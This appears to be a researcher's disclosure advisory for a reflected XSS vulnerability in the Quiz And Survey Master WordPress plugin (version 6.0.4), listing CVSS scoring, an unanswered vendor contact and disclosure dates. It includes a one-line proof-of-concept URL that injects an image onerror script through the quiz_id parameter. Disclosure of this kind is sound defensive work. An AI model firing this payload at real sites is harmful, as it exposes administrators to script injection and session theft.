* Vulnerability: XSS * Affected Software: [Quiz And Survey Master](https://wordpress.org/plugins/quiz-master-next/) * Affected Version: 6.0.4 * Patched Version: none * CVE: not requested * Risk: Medium * Vendor Contacted: 10/25/2018 * Vendor Fix: none * Public Disclosure: 02/05/2019 * Credit: Tim Coen ##### CVSS 6.1 Medium [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) ##### Overview The Quiz And Survey Master WordPress plugin is vulnerable to reflected XSS as it echoes the quiz_id parameter without proper encoding. ##### Proof of Concept http://192.168.0.103/wordpress/wp-admin/admin.php?page=mlw_quiz_results&quiz_id='"><img+src%3Dx+onerror%3Dalert(1)> ##### Timeline - 10/25/2018 Sent advisory (no response) - 02/05/2019 Disclosure ##### Details & Full Advisory URL https://security-consulting.icu/blog/2019/02/wordpress-quiz-and-survey-master-xss/ -- PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89